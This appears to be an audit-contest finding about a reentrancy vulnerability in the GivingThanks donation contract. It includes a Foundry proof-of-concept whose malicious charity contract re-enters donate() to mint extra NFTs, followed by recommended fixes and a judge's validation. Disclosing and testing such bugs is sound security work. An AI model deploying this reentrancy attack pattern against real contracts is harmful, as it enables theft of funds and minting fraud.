GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

[H-02] Reentrancy Vulnerability in GivingThanks Donation Function

Summary

The GivingThanks contract's donate function is vulnerable to reentrancy attacks, allowing malicious charities to mint multiple NFTs and receive multiple ETH transfers from a single donation.

Vulnerability Details

The vulnerability exists in the following function:

function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
(bool sent,) = charity.call{value: msg.value}(""); // BUG: ETH sent before state updates
require(sent, "Failed to send Ether");
_mint(msg.sender, tokenCounter); // State updates after external call
// ... token URI creation and setting ...
tokenCounter += 1;
}

Key issues:

  1. Violates Checks-Effects-Interactions pattern

  2. ETH transfer occurs before NFT minting and state updates

  3. No reentrancy protection

  4. Allows malicious charities to reenter and mint multiple NFTs

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../../src/CharityRegistry.sol";
import "../../src/GivingThanks.sol";
// Malicious charity contract that attempts reentrancy
contract MaliciousCharity {
GivingThanks public givingThanks;
uint256 public attackCount;
uint256 public maxAttacks = 3;
constructor(address _givingThanks) {
givingThanks = GivingThanks(_givingThanks);
}
// Fallback function that attempts to reenter donate()
receive() external payable {
if (attackCount < maxAttacks) {
attackCount++;
// Reenter the donate function to mint another NFT to ourselves
givingThanks.donate{value: msg.value}(address(this));
}
}
}
contract ReentrancyAttack is Test {
CharityRegistry public registry;
GivingThanks public givingThanks;
MaliciousCharity public maliciousCharity;
address public attacker = address(0x1);
function setUp() public {
registry = new CharityRegistry();
givingThanks = new GivingThanks(address(registry));
// Fix the registry address since constructor sets it incorrectly
givingThanks.updateRegistry(address(registry));
// Deploy malicious charity
vm.prank(attacker);
maliciousCharity = new MaliciousCharity(address(givingThanks));
// Just register the charity (no need to verify)
registry.registerCharity(address(maliciousCharity));
// Fund attacker
vm.deal(attacker, 2 ether);
}
function testReentrancyAttack() public {
// Record initial NFT balance
uint256 initialNFTs = givingThanks.balanceOf(address(maliciousCharity));
// Perform attack
vm.prank(attacker);
givingThanks.donate{value: 1 ether}(address(maliciousCharity));
// Verify multiple NFTs were minted from a single donation
uint256 finalNFTs = givingThanks.balanceOf(address(maliciousCharity));
assertGt(finalNFTs, initialNFTs + 1, "Reentrancy attack failed to mint multiple NFTs");
// Verify attack performed multiple donations
assertEq(maliciousCharity.attackCount(), 3, "Attack did not perform expected number of reentries");
}
}

Impact

  • Severity: High

  • Likelihood: High (just requires a malicious charity registration which is unprotected)

Effects:

  1. Multiple NFTs minted for a single donation

  2. Multiple ETH transfers from a single donation

  3. Breaks the 1:1 relationship between donations and NFTs

  4. Token ID sequence manipulation

  5. Artificial inflation of donation metrics

Tools Used

  • Foundry Test Framework

  • Manual code review

Recommendations

  1. Add OpenZeppelin's ReentrancyGuard:

contract GivingThanks is ERC721URIStorage, ReentrancyGuard {
function donate(address charity) public payable nonReentrant {
require(registry.isVerified(charity), "Charity not verified");
// Mint NFT first
_mint(msg.sender, tokenCounter);
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
// Then transfer ETH
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}
}

Additionally, consider:

  1. Using a pull-payment pattern instead of direct transfers

  2. Adding donation amount limits

  3. Implementing charity withdrawal cooldowns

  4. Adding events to track donation patterns

Example of pull-payment implementation:

mapping(address => uint256) public pendingWithdrawals;
function donate(address charity) public payable nonReentrant {
require(registry.isVerified(charity), "Charity not verified");
_mint(msg.sender, tokenCounter);
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
pendingWithdrawals[charity] += msg.value;
}
function withdraw() public {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "No funds to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-donate-reentrancy-multiple-NFT-minted

Impact: High, one charity can reenter the donate function with the same ETH provided and mint several NFT. Likelyhood: Low, any malicious charity can do it but Admin is trusted and should verify the charity contract before "verifying" it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.